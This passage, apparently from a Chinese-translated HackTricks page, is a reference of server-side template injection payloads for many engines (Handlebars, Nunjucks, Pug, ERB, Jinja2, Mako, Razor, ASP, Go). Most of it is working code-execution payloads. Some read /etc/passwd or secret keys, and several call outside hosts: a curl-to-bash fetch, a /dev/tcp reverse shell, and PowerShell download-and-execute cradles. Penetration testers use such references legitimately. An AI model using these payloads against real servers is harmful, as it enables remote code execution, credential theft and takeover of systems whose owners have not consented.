|
||
- 在 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 的 Jade 部分
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||
|
||
### patTemplate (PHP)
|
||
|
||
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个非编译的 PHP 模板引擎,使用 XML 标签将文档分成不同部分
|
||
```xml
|
||
<patTemplate:tmpl name="page">
|
||
This is the main page.
|
||
<patTemplate:tmpl name="foo">
|
||
It contains another template.
|
||
</patTemplate:tmpl>
|
||
<patTemplate:tmpl name="hello">
|
||
Hello {NAME}.<br/>
|
||
</patTemplate:tmpl>
|
||
</patTemplate:tmpl>
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||
|
||
### Handlebars (NodeJS)
|
||
|
||
路径遍历(更多信息 [这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
|
||
```bash
|
||
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
|
||
```
|
||
- \= 错误
|
||
- ${7\*7} = ${7\*7}
|
||
- 无内容
|
||
```java
|
||
{{#with "s" as |string|}}
|
||
{{#with "e"}}
|
||
{{#with split as |conslist|}}
|
||
{{this.pop}}
|
||
{{this.push (lookup string.sub "constructor")}}
|
||
{{this.pop}}
|
||
{{#with string.split as |codelist|}}
|
||
{{this.pop}}
|
||
{{this.push "return require('child_process').exec('whoami');"}}
|
||
{{this.pop}}
|
||
{{#each conslist}}
|
||
{{#with (string.sub.apply 0 codelist)}}
|
||
{{this}}
|
||
{{/with}}
|
||
{{/each}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
{{/with}}
|
||
|
||
URLencoded:
|
||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||
```
|
||
**更多信息**
|
||
|
||
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||
|
||
### JsRender (NodeJS)
|
||
|
||
| **模板** | **描述** |
|
||
| -------- | --------------------------------- |
|
||
| | 评估并渲染输出 |
|
||
| | 评估并渲染HTML编码输出 |
|
||
| | 注释 |
|
||
| 和 | 允许代码(默认禁用) |
|
||
|
||
- \= 49
|
||
|
||
**客户端**
|
||
```python
|
||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||
```
|
||
**服务器端**
|
||
```bash
|
||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
|
||
|
||
### PugJs (NodeJS)
|
||
|
||
- `#{7*7} = 49`
|
||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||
|
||
**示例服务器端渲染**
|
||
```javascript
|
||
var pugjs = require("pug")
|
||
home = pugjs.render(injected_page)
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||
|
||
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
|
||
|
||
- \{{7\*7\}} = 49
|
||
- \{{foo\}} = 无输出
|
||
- \#{7\*7} = #{7\*7}
|
||
- \{{console.log(1)\}} = 错误
|
||
```javascript
|
||
{
|
||
{
|
||
range.constructor(
|
||
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
|
||
)()
|
||
}
|
||
}
|
||
{
|
||
{
|
||
range.constructor(
|
||
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
|
||
)()
|
||
}
|
||
}
|
||
```
|
||
**更多信息**
|
||
|
||
- [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||
|
||
### 其他 NodeJS
|
||
|
||
<figure><img src="../../images/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
### ERB (Ruby)
|
||
|
||
- `{{7*7}} = {{7*7}}`
|
||
- `${7*7} = ${7*7}`
|
||
- `<%= 7*7 %> = 49`
|
||
- `<%= foobar %> = Error`
|
||
```python
|
||
<%= system("whoami") %> #Execute code
|
||
<%= Dir.entries('/') %> #List folder
|
||
<%= File.open('/etc/passwd').read %> #Read file
|
||
|
||
<%= system('cat /etc/passwd') %>
|
||
<%= `ls /` %>
|
||
<%= IO.popen('ls /').readlines() %>
|
||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### Slim (Ruby)
|
||
|
||
- `{ 7 * 7 }`
|
||
```
|
||
{ %x|env| }
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||
|
||
### 其他 Ruby
|
||
|
||
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
### Python
|
||
|
||
查看以下页面以了解关于 **任意命令执行绕过沙箱** 的技巧:
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||
{{#endref}}
|
||
|
||
### Tornado (Python)
|
||
|
||
- `{{7*7}} = 49`
|
||
- `${7*7} = ${7*7}`
|
||
- `{{foobar}} = Error`
|
||
- `{{7*'7'}} = 7777777`
|
||
```python
|
||
{% raw %}
|
||
{% import foobar %} = Error
|
||
{% import os %}
|
||
|
||
{% import os %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{{os.system('whoami')}}
|
||
{{os.system('whoami')}}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||
|
||
### Jinja2 (Python)
|
||
|
||
[官方网站](http://jinja.pocoo.org)
|
||
|
||
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙箱执行环境,广泛使用并且是 BSD 许可的。
|
||
|
||
- `{{7*7}} = Error`
|
||
- `${7*7} = ${7*7}`
|
||
- `{{foobar}} Nothing`
|
||
- `{{4*4}}[[5*5]]`
|
||
- `{{7*'7'}} = 7777777`
|
||
- `{{config}}`
|
||
- `{{config.items()}}`
|
||
- `{{settings.SECRET_KEY}}`
|
||
- `{{settings}}`
|
||
- `<div data-gb-custom-block data-tag="debug"></div>`
|
||
```python
|
||
{% raw %}
|
||
{% debug %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{{settings.SECRET_KEY}}
|
||
{{4*4}}[[5*5]]
|
||
{{7*'7'}} would result in 7777777
|
||
```
|
||
**Jinja2 - 模板格式**
|
||
```python
|
||
{% raw %}
|
||
{% extends "layout.html" %}
|
||
{% block body %}
|
||
<ul>
|
||
{% for user in users %}
|
||
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
|
||
{% endfor %}
|
||
</ul>
|
||
{% endblock %}
|
||
{% endraw %}
|
||
|
||
|
||
```
|
||
[**RCE 不依赖于**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||
```python
|
||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
||
|
||
# Or in the shotest versions:
|
||
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||
```
|
||
**关于如何滥用 Jinja 的更多细节**:
|
||
|
||
{{#ref}}
|
||
jinja2-ssti.md
|
||
{{#endref}}
|
||
|
||
其他有效载荷在 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||
|
||
### Mako (Python)
|
||
```python
|
||
<%
|
||
import os
|
||
x=os.popen('id').read()
|
||
%>
|
||
${x}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||
|
||
### 其他 Python
|
||
|
||
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||
|
||
- 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||
|
||
### Razor (.Net)
|
||
|
||
- `@(2+2) <= Success`
|
||
- `@() <= Success`
|
||
- `@("{{code}}") <= Success`
|
||
- `@ <=Success`
|
||
- `@{} <= ERROR!`
|
||
- `@{ <= ERRROR!`
|
||
- `@(1+2)`
|
||
- `@( //C#Code )`
|
||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||
|
||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||
|
||
**更多信息**
|
||
|
||
- [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](<https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>)
|
||
- [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
|
||
|
||
### ASP
|
||
|
||
- `<%= 7*7 %>` = 49
|
||
- `<%= "foo" %>` = foo
|
||
- `<%= foo %>` = Nothing
|
||
- `<%= response.write(date()) %>` = \<Date>
|
||
```xml
|
||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||
|
||
### .Net 绕过限制
|
||
|
||
.NET 反射机制可以用来绕过黑名单或程序集中的类缺失。DLL 可以在运行时加载,方法和属性可以从基本对象访问。
|
||
|
||
Dll 可以通过以下方式加载:
|
||
|
||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - 从文件系统加载。
|
||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - 直接从请求中加载。
|
||
|
||
完整命令执行:
|
||
```
|
||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||
|
||
### Mojolicious (Perl)
|
||
|
||
即使是 Perl,它也使用像 Ruby 中的 ERB 这样的标签。
|
||
|
||
- `<%= 7*7 %> = 49`
|
||
- `<%= foobar %> = Error`
|
||
```
|
||
<%= perl code %>
|
||
<% perl code %>
|
||
```
|
||
### SSTI in GO
|
||
|
||
在 Go 的模板引擎中,可以通过特定的有效载荷确认其使用:
|
||
|
||
- `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
|
||
- `{{printf "%s" "ssti" }}`:预计会显示字符串 "ssti"。
|
||
- `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
|
||
|
||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||
|
||
**XSS Exploitation**
|
||
|
||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 结果为 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||
|
||
vbnet Copy code
|
||
|
||
**RCE Exploitation**
|
||
|
||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用 “call” 值),而在 `html/template` 中不允许。有关这些模块的文档可在 [here for html/template](https://golang.org/pkg/html/template/) 和 [here for text/template](https://golang.org/pkg/text/template/) 中找到。
|
||
|
||
通过 SSTI 在 Go 中进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
||
```go
|
||
func (p Person) Secret (test string) string {
|
||
out, _ := exec.Command(test).CombinedOutput()
|
||
return string(out)
|
||
}
|
||
```
|
||
**更多信息**
|
||
|
||
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
|
||
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||
|
||
### 更多漏洞
|
||
|
||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 的其余部分以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
|
||
|
||
## BlackHat PDF
|
||
|
||
{{#file}}
|
||
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
|
||
{{#endfile}}
|
||
|
||
## 相关帮助
|
||
|
||
如果您认为这可能有用,请阅读:
|
||
|
||
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
|
||
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
|
||
|
||
## 工具
|
||
|
||
- [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
|
||
- [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
|
||
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||
|
||
## 暴力破解检测列表
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||
{{#endref}}
|
||
|
||
## 实践与参考
|
||
|
||
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||
- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|